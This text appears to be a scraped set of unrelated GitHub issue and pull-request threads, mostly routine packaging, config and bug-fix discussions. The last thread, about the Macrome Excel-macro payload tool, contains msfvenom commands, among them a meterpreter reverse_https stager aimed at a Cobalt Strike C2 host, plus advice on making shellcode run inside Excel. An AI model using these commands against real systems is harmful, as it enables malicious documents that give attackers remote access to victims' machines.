lispPackages: update to Quicklisp 2022-02-20

Description of changes
lispPackages: update to Quicklisp 2022-02-20
Add package py4cl.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage

This seemed to fail, though I'm not sure that's related to my change: https://gist.github.com/lukego/91ba66c76dd7e4e04706d0e66a39a070.

[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

@lukego Does cl-interpol still build after update?

@lukego Does cl-interpol still build after update?

It does for me, yes.
But the question highlights that we really need a systematic way to test for breakages. Have people already looked into this?
I believe that Quicklisp itself tests by separately loading each package in a fresh image. I suppose that we could do that in a shell loop over the packages that we include? But it might be nicer to make a derivation of it.

I usually just nix-build lispPackages, this includes everything. I asked about cl-interpol because I am trying to interpret ofBorg eval failure… we probably got a dep loop somewhere with the new release, but I guessed wrong where…

I can't seem to build lispPackages:
[luke@snowy:~/git/nixpkgs-lisp]$ nix-build --show-trace . -A lispPackages
error: infinite recursion encountered

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:329:7:

          328|       depsHostHostPropagated      = lib.elemAt (lib.elemAt propagatedDependencies 1) 0;
          329|       propagatedBuildInputs       = lib.elemAt (lib.elemAt propagatedDependencies 1) 1;
             |       ^
          330|       depsTargetTargetPropagated  = lib.elemAt (lib.elemAt propagatedDependencies 2) 0;

       … while evaluating the attribute 'propagatedBuildInputs' of the derivation 'lisp-mgl-pax-20220220-git'

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:278:7:

          277|     // (lib.optionalAttrs (attrs ? name || (attrs ? pname && attrs ? version)) {
          278|       name =
             |       ^
          279|         let

       … while evaluating the attribute 'propagatedBuildInputs' of the derivation 'lisp-try-20220220-git'

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:278:7:

          277|     // (lib.optionalAttrs (attrs ? name || (attrs ? pname && attrs ? version)) {
          278|       name =
             |       ^
          279|         let

       … while evaluating the attribute 'propagatedBuildInputs' of the derivation 'lisp-named-readtables-20220220-git'

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:278:7:

          277|     // (lib.optionalAttrs (attrs ? name || (attrs ? pname && attrs ? version)) {
          278|       name =
             |       ^
          279|         let

       … while evaluating the attribute 'propagatedBuildInputs' of the derivation 'lisp-cl-interpol-20201220-git'

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:278:7:

          277|     // (lib.optionalAttrs (attrs ? name || (attrs ? pname && attrs ? version)) {
          278|       name =
             |       ^
          279|         let

       … while evaluating the attribute 'propagatedBuildInputs' of the derivation 'lisp-access-20210124-git'

       at /home/luke/git/nixpkgs-lisp/pkgs/stdenv/generic/make-derivation.nix:278:7:

          277|     // (lib.optionalAttrs (attrs ? name || (attrs ? pname && attrs ? version)) {
          278|       name =
             |       ^
          279|         let

I have no idea what this is about though :-\

I see. Yes, there seem to be circular dependencies. One simple one is between NAMED-READTABLES (due to its test suite package) and TRY (the test framework it uses, which depends on named-readtables.)
Hmmm.

OK, makes sense. As you see in the overrides, we forbid some of the test suites; maybe we should do it here?

Erm, if anything, it should be named-readtables who could separate the test suite into a different .asd, what try could do here?


fix(directives): remove dashCase pipe

The current API doc generator generates the deprecated dashCase syntax for directive inputs/outputs.
This PR removes the use of the dashCase pipe for inputs/outputs.

LGTM

thanks! merged.


Conditional "or" doesn't work

opacity: if((@errorText) or (@warning), 1, 0); doesn't set the opacity to 1 when errorText is defined as true.
Strangely, opacity: if((@errorText) or (@warning), 0, 1); actually does the behaviour that I want.

:tada: This issue has been resolved in version 1.4.6 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

You can update to 1.4.6, and the following will work for you
opacity: if(@errorText or @warning, 1, 0);

🎉


random color

Can this library support random color

Hi,
Unfortunately, I'm archiving this project and will no longer maintaining it. For more information, please read my blog post: Taking an indefinite sabbatical from my projects.
Thanks for the feedback and contribution.


IPSEC Mobile Client Option "Save Xauth Password" not working

The "Save Xauth Password" to allow clients the ability to save passwords is not working. I believe the 28673 option in /usr/local/etc/strongswan.conf needs to be set to 1 instead of yes.

@abel408 there isn't a lot of documentation about this property, but I think your right. can you test https://github.com/opnsense/core/commit/8459b38f1119e3a97aafaf75692ed2f044b6cc32 ?
Easiest option to patch (from a console):
opnsense-patch 8459b38

Sorry for the late response. The patch seems to work great! Thanks

@abel408 thanks for reporting back!


Demo site for onboarding new users

It would be neato if there was a demo instance of Collins setup that could illustrate features, and let new users get a feel for Collins. One of the issues I've seen with collins is that the initial onboarding curve is pretty steep. There's a lot of integration glue necessary to graft into your infrastructure, and a lot of usage patterns arent very intuitive. Having a visual illustration of patterns that are common would be awesome (i.e. illustrate how pools are used to group assets, illustrate statuses, illustrate configuration assets acting as VIPs, IPAM, etc etc etc). We could either just throw a stateless container up somewhere (that populates the DB and has a reasonable config on bootup), or setup a real DB that gets reinitialized every day or so.
Thoughts?
@defect @roymarantz @michaeljs1990 @jyundt

This sounds like a nice way to onboard new users although I can't think of any places that offer free container hosts :/ Does tumblr have some EC2 credits chilling around.
Additionally some simple docs with a curl command they can run on a machine they own to populate the demo collins might be helpful to see everything available to you in collins.

I agree this would be pretty cool, being a bit of a pessimist i also see problems :P What do you think of giving more rigorous and well-documented instructions on spinning up the container and using scripts/populate.sh? Maybe we could expand it with more real-looking hosts, some classification assets,  custom attributes, etc.

I think it's a great idea.


ocp: validate source version >= 4.13

We actually check the k8s version, where 1.26 corresponds to OCP 4.13. This is needed since CNV running on older version doesn't export the manifests in the VM export server

the changes look good but the title of the PR and of the first commit is "ocp: validate source version > 4.13", should be ".. >= 4.13", right? also we should use openshift more instead of ocp as MTV can now be deployed on OKE

I think ocp in our context stands for k8s distribution in general

the changes look good but the title of the PR and of the first commit is "ocp: validate source version > 4.13", should be ".. >= 4.13", right? also we should use openshift more instead of ocp as MTV can now be deployed on OKE

I think ocp in our context stands for k8s distribution in general

we distinguish between openshift and k8s in the operator, but yeah - in the code "ocp" typically refers to both
@yaacov the table on oke vs ocp vs ocp plus can be found here

@bennyz the commit still says > 4.13...


Fixes error when the stacktrace is undefined

When a protractor test has a timeout the stacktrace value is not defined. This causes the following error output:
    some page
      ✗ should do something (0.039 secs)
        - timeout: timed out after 10 msec waiting for spec to complete

/home/0xR/workspace/node_modules/jasmine-spec-reporter/src/spec-display.js:110
    var lines = traces.split('\n');
                       ^
TypeError: Cannot call method 'split' of undefined
    at Object.SpecDisplay.filterStackTraces (/home/0xR/workspace/node_modules/jasmine-spec-reporter/src/spec-display.js:110:24)
    at Object.SpecDisplay.displayErrorMessages (/home/0xR/workspace/node_modules/jasmine-spec-reporter/src/spec-display.js:102:25)
    at Object.SpecDisplay.failed (/home/0xR/workspace/node_modules/jasmine-spec-reporter/src/spec-display.js:80:12)
    at Object.SpecReporter.reportSpecResults (/home/0xR/workspace/node_modules/jasmine-spec-reporter/src/jasmine-spec-reporter.js:85:20)

This change solves that issue.

Nice catch, thanks!
It is available in 1.1.1.


Vulnerability roundup 85: privoxy-3.0.28: 1 advisory [7.8]

search, files

[ ] CVE-2019-3699 CVSSv3=7.8 (nixos-20.03, nixos-unstable)

Scanned versions: nixos-20.03: a84b797b28e; nixos-unstable: 22c98819ccd. May contain false positives.
Cc @phreedom

NixOS 20.03 is EOL, so this issue isn't actionable anymore (but fixed in unstable).


KeePass window showing from tray

Summary of the Pull Request
Wait for showCmd parameter change on moving window into zone.

References

PR Checklist

[x] Applies to #1685
[x] CLA signed. If not, go over here and sign the CLA
[x] Tests added/passed
[] Requires documentation to be updated
[] I've discussed this with core contributors already. If not checked, I'm ready to accept this work might be rejected in favor of a different grand plan. Issue number where discussion took place: #xxx

Detailed Description of the Pull Request / Additional comments
At the moment when windows position is changed to be applied to zone, KeePass window has SW_SHOWMINIMIZED flag. For this reason it minimizes again as expected.

Validation Steps Performed

Configure KeePass to "Minimize to tray"
Configure FancyZones as follows:

Apply layout (doesn't matter, custom or template, but the more zones it contains, the bigger chance to catch a bug)
Open KeePass
Apply KeePass to zone
Minimize KeePass winow
Restore KeePass from tray

KeePass window expected to be opened.

The delay would effect all applications, in order to avoid that, let's check the window style and only if SW_SHOWMINIMIZED if true apply the workaround.
We should also consider what is the best workaround in this case: wait or simply reset the SW_SHOWMINIMIZED flag?

We should also consider what is the best workaround in this case: wait or simply reset the SW_SHOWMINIMIZED flag?

Regarding flag reset: it is said in the comment below that minimized window shouldn't be restored.
https://github.com/microsoft/PowerToys/blob/c3a98b265ffc3ec7bf4ea36c8c041c0f45513f21/src/modules/fancyzones/lib/Zone.cpp#L112

The delay would effect all applications, in order to avoid that, let's check the window style and only if SW_SHOWMINIMIZED if true apply the workaround.
Ok, I'll update it

Regarding flag reset: it is said in the comment below that minimized window shouldn't be restored.

Good point, let's not touch it, let's just wait.


Change the way the certificate for webhook is generated

Currently, the certificate for the ValidatingWebhook is generated on installation.
This has the drawback, that a helm diff reports a change on every run. It reports changes (to the certificate) that makes it hard to distinguish what is due to configuration changes made by oneself.
I took a look into several solutions and found the way "ingress-nginx" does it the smartest one.
This is a rough breakdown on how they do it:

On helm install the ValidatingWebhook is installed, without cert-data
Also a Job is installed, that runs immediately, creates a certificate+secret and patches the ValidatingWebhook to use that secret

They use the image jet/kube-webhook-certgen, see https://github.com/eclipse/che/issues/17855#issuecomment-705393366 for some more details.
I would love to contribute on this, once it get's accepted as "we should do this". I'm relatively new to webhooks, so this could cost me a bit more of my time. But I'm eager to learn. :)
See https://kanisterio.slack.com/archives/C85C8V22J/p1647870529989079?thread_ts=1647866137.638459&cid=C85C8V22J for reference.

Will it be acceptable to fall back to using the Kubernetes apiserver trust root? That seems to be the behaviour if the caBundle field isn't specified in the validating webhook configuration.

But you still have to put a certificate in the pod, that acts as the ValidatingWebhook, right?
Currently the certificate is generated in validating-webhook.yaml and put in the secret "kanister-webhook-certs". This is mounted as "webhook-certs" in the operator in deployment.yaml

I wonder if the webhook can issue a CSR to the apiserver and get a signed certificate from it.

Looks like it uses the same K8s CSR API. Just trying to see if we can avoid introducing external components.

Thanks for putting https://github.com/kanisterio/kanister/pull/1369 together. It helps to see what the code looks like :+1:. At this point, we want to keep Kanister unopinionated in regards to cert management solutions. Depending on the user's requirements, there will always be legit reasons to pick one solution over the other.
Our current thinking is to keep the current Helm-generated cert approach as the default mechanism, and offer users who have more advanced, production-readiness requirements with a "bring your own cert" approach.
Looks like you have already done some work with cert-manager and Kanister. How do you feel about putting together a reference architecture to show how to deploy Kanister into a cluster that already has cert-manager deployed? The Kanister Helm chart will likely need to be updated to make the VWC caBundle and webhook Secret optional. This will keep Kanister's deployment model free from other specific solutions, and be coupled only to K8s APIs like Secret and ValidatingWebhookConfiguration. It will also be interesting to see if we can generalized this "bring your own cert" approach to work with vault.
Then we can publish the reference architecture as documentation and blog post. WDYT?

Thanks for your feedback! Personally, I do not see why Kanister should not "stand on the shoulder of giants". As "ingress-nginx" and "kube-prometheus-stack" (to only name two) both use the approach with kube-webhook-certgen we should use this as a "sane default". Imho, this is better than the current solution, not only because "helm diff" currently reports a change on every run.
"kube-prometheus-stack" even has the possibility to choose between the approach with kube-webhook-certgen and a full blown solution with "cert-manager":
https://github.com/prometheus-community/helm-charts/blob/main/charts/kube-prometheus-stack/values.yaml#L1481-L1516
Maybe one could choose that path in two steps. First step being using kube-webhook-certgen, second being adding the solution with "cert-manager" and/or "vault".

I agree that we should recommend the solution with cert-manager. But I still vote for a default with kube-webhook-certgen (or similar) as it will be sufficient for the majority of users.
I still refuse to see the helm generated certificate as a valid solution. What happens if someone installs Kanister and does not touch it for 365 days? Suddenly the webhook will just stop working "out of the blue". That's not a good default, imho.
Either we should provide a sane default (like with kube-webhook-certgen) or we should force the user to configure cert-manager (or similar) for the webhook.

Won't kube-webhook-certgen has the same issue since it relies on the next helm upgrade to run the job?

It runs the job on install which creates the certificate.
In fact, the job is run on every install. But as the certificate is not expired (100y validity) it does nothing.

Could we support an alternate way of selecting the cert? By referencing a secret by name for example?
That way the cert could either be generated throigh helm (we don't change the current behaviour), or it could pick up a pre-existing secret, which could be generated any way the user chooses to, no opinion from us on what the underlying Kubernetes distribution/end user choice makes.

Essentially, what @shuguet describes is how cert-manager and many other cert management solutions work i.e. they generate a K8s secret (of type kubernetes.io/tls), and the server (webhook, in our case) fetches its TLS cert from the secret. How the secret comes into existence is up to the cert management solution.
@muffl0n No rush on this. All the best on your maternity leave.

We are missing one important point here: The ca also needs to be injected into the Webhook. In my example, this is done with this annotation
https://github.com/muffl0n/kanister/blob/1c50d48fc69ede7d68e314bf0c41a6359b3f80d4/helm/kanister-operator/templates/webhook/validating-webhook.yaml#L6-L7
  annotations:
    cert-manager.io/inject-ca-from: {{ .Release.Namespace }}/{{ include "kanister-operator.fullname" . }}-admission

So it's not only "pick up the secret that somebody created with some tool", it's also "inject the ca into our webhook". Or at least allow the user to specify which annotation to add. But this is only how cert-manager does ist. There is no other similar tool I know of and therefore I have no deeper knowledge what we should consider to allow the user to do.
So, as I fear that we are over-engineering this case, I'm coming back to my statement:

We should keep this as simple as possible for the user, preferably with a out of the box solution that "just works" [...] For the advanced user we should allow the usage of cert-manager [...]"

That sound's reasonable, didn't think of it that way. Still having the feeling that it's overkill, though. :)

Still relevant.

Just to add to the convo above:
Generating the cert directly in helm exacerbates the issue when working in a GitOps manner with for example ArgoCD (see the image below)


Deployment of Dubbo microservices for seata.

Hi team,
I am trying deployment of Dubbo microservices for seata using following steps:
1. Startup Seata Server
docker run --name seata-server -p 8091:8091 -p 7091:7091 seataio/seata-server:1.5.0
logs_startup_seata_server: seata-sample.txt
UI interface for seata-server:
2. Startup Zookeeper
docker run --name zookeeper -p 2181:2181 -p 2888:2888 -p 3888:3888 -d zookeeper this command is running successfully for me.
3.Execute SQL under seata-samples\dubbo\src\main\resources\sql
I am stuck on how to execute microservices under above mentioned path step, I also tried to run these .java files (AccountService.java, BusinessService.java, OrderService.java, StockService.java) directly by using javac filename.java  but not able to start them and failed with this error
Error_logs: error.txt
Could you please have a look and provide your feedback regarding the same.

@a364176773 Could you please share some pointers for this?
Thanks in advance.

Use mvn instead of javac to compile the project. It is recommended to directly use an IDE.


idpool: don't initialize ID cache in random order

There is no need to initialize the ID cache in random order. All that we
care about is that the IDs are allocated in random order. This is
ensured by (*idCache).allocateID iterating over a map which in Go is
guaranteed to be in random order.
For #10056, this saves the peek allocation of the permutation slice
during initialization, which in the worst case of pkg/identity/allocator
is 512K (64k IDs * sizeof int).

This change is

test-me-please

Coverage increased (+0.002%) to 45.639% when pulling 31259bcc97c53c38bf11829cebf9feda17b693a3 on pr/tklauser/idpool-no-rand into 6d29bba62d7cef9d340848d360da2effc09f2485 on master.


cobaltstrike

first thanks for sharing such great tool, but it crushes when using cobalstrike RAW Shellcode any idea why thanks

I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.
If you can't encode it (or you're willing to help me improve the tool for everyone if and you're willing to trek through some debugging with me) - what I'd recommend doing is this:

Grab https://x64dbg.com/ - we'll use this for debugging Excel. You'll need to use the 32 bit or 64 bit debugger version depending on which Excel installation you have.
Open up your payload, before it runs and find the last instruction in the initial setup column (hardcoded for FE for now). It will be an =GOTO($A$1) Formula unless you've changed stuff locally. Delete the GOTO command and enable macros so the code runs.

Attach x32/x64 debug to your Excel instance. You'll know which version you're running based on which debug is able to see the process when you go to attach:

After you attach, hold F9 for a few seconds to resume all threads until Excel responds to mouse/keyboard input again.
Right click on cell A1 and go down to Run... and click Step Into (if it becomes unresponsive got back to the debugger and hold F9 again)

6. Now we're going to keep clicking Step Over until we get to a CThread or GO call. My guess is you won't see a crash happen until this point, if something does explode before you get to those calls then let me know where it dies.
7. Go back to x32dbg/x64dbg and open the memory map (Alt-M). Sort by the Protection column - we want to identify memory that's RWX and allocated at runtime - it looks something like this:

8. You'll probably only see one ERW section...but you might see multiples, just double click a section to see what's inside it. Ex: After I double clicked the 21520000 row:

9. This is the shellcode that was written to Excel - I'd suggest selecting all of it (until you see large chunks of 00s) and copying to file:

10. Now that you've done this, do a bytewise compare of the shellcode inside memory to the shellcode you provided to Macrome. If I had to guess...there isn't parity somewhere and some of the shellcode has been mucked up. Let me know what bytes aren't going through (and if it's not a major opsec failure, share the outputs with me) and I'll see if I can fix up what has gone wrong.
Anyways - I know this is A LOT of effort to do, but unfortunately short of having you ship your payload over to me I'm not going to be able to fix this. My guess is we've encountered some weird edge case where Excel treats some of the bytes as part of a formula or drops something or who knows what and there's some extra handling code that's necessary.

you get me wrong , i mean i can't even generate an excel file using cobaltstrike shellcode that's the problem

Ah - my mistake - what's happening when you try to generate the payload? Can you share the command you're running as well as stack trace that's coming out when you try to build the document?

here the error message when i try with cobaltstrike shellcode
👍 Unhandled exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.IO.FileNotFoundException: Could not find file '/root/Macrome/decoy_document.xls'.
at Interop.ThrowExceptionForIoErrno(ErrorInfo errorInfo, String path, Boolean isDirectory, Func`2 errorRewriter)
at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String path, OpenFlags flags, Int32 mode)
at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options)
at System.IO.FileStream..ctor(String path, FileMode mode)
at Macrome.Program.LoadDecoyDocument(String decoyDocPath) in /root/Macrome/Program.cs:line 310
at Macrome.Program.Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, String preamble, PayloadType payloadType, String macroSheetName, String outputFileName, Boolean debugMode, SheetPackingMethod method) in /root/Macrome/Program.cs:line 151
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor, Boolean wrapExceptions)
at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture)
at System.CommandLine.Invocation.ModelBindingCommandHandler.InvokeAsync(InvocationContext context) in //src/System.CommandLine/Invocation/ModelBindingCommandHandler.cs:line 68
at System.CommandLine.Invocation.InvocationPipeline.<>c__DisplayClass4_0.<b__0>d.MoveNext() in //src/System.CommandLine/Invocation/InvocationPipeline.cs:line 57
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__20_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 370
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass15_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 296
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass24_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 451
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass22_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 417
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__21_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 398
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__19_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 352
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__11_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 225
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__10_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 200
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass13_0.<b__0>d.MoveNext() in /_/src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 254

Ah - the shellcode has null bytes in it. The moment you put a null byte into an Excel cell it will terminate the cell regardless of whatever you put after it. I need to make this error message be more clear so it's obvious what the problem is.
I'd recommend following the advice at https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9 so you can get rid of the null byte and then you'll be able to use the payload.
Cheers!

I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.

@michaelweber  Mine is crashing  as well. Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

Also tried your Docs\popcalc64.bin but no results. And could not find any =GOTO you mentioned in the 2nd step.
Here is my output.xls that should pop calc.exe, but it doesn't.
Here is the exception that debugger caught, but not informative though.

我不确定-我一直在收到有关东西运行时崩溃的报告，但不幸的是，我无法在本地复制它以弄清楚到底发生了什么。大多数情况下，某些崩溃是因为有效负载未正确写入内存。如果我不得不猜测某个地方写了一个00字节，而我的代码没有正确地转义它。如果可能，请尝试使用字母数字shellcode编码器对有效负载进行编码。

@michaelweber 我的也在崩溃。使用.Net Core 2.0.0，并像您提到的那样尝试2.1.0，并尝试使用0x00坏字符的字母数字编码器，没有运气：
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

还尝试了您Docs\popcalc64.bin但没有结果。并且找不到第二步中=GOTO提到的任何内容。****
这是我的output.xls应该弹出calc.exe，但不是。
这是调试器捕获的异常，但没有提供信息。

I also encountered the same problem

我不确定-我一直在收到有关东西运行时崩溃的报告，但不幸的是，我无法在本地复制它以弄清楚到底发生了什么。大多数情况下，某些崩溃是因为有效负载未正确写入内存。如果我不得不猜测某个地方写了一个00字节，而我的代码没有正确地转义它。如果可能，请尝试使用字母数字shellcode编码器对有效负载进行编码。

@michaelweber 我的也在崩溃。使用.Net Core 2.0.0，并像您提到的那样尝试2.1.0，并尝试使用0x00坏字符的字母数字编码器，没有运气：
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin

还尝试了您Docs\popcalc64.bin但没有结果。并且找不到第二步中=GOTO提到的任何内容。****
这是我的output.xls应该弹出calc.exe，但不是。
这是调试器捕获的异常，但没有提供信息。

I also encountered the same problem

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

Actually not only CS payloads, Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin
This is not CS payloads, Is the content of your README.md, I use msfvenom to generate the payload that pops up the calculator, Also tried your Docs\popcalc64.bin but not Run, Excel crashes directly, How to solve this problem?????  Thx

Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.

Actually not only CS payloads, Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin
This is not CS payloads, Is the content of your README.md, I use msfvenom to generate the payload that pops up the calculator, Also tried your Docs\popcalc64.bin but not Run, Excel crashes directly, How to solve this problem?????  Thx

Facing the same problems what can be ?

Facing the same problems what can be ?

Hello there, had a quick shot a macrome today and it seems like there is a issue with Office 2013.
I have successfully managed to make the (default) calc payload work under Office 2019/2016 but this would fail under Office2013.
Hope this can help a bit on the issue ! Cheers

Hello there, had a quick shot a macrome today and it seems like there is a issue with Office 2013.
I have successfully managed to make the (default) calc payload work under Office 2019/2016 but this would fail under Office2013.
Hope this can help a bit on the issue ! Cheers

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

Did it crashed? or it get's injected into another process, thanks.

Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw

Did you succeed????

It worked pretty well on my side

Did it crashed? or it get's injected into another process, thanks.

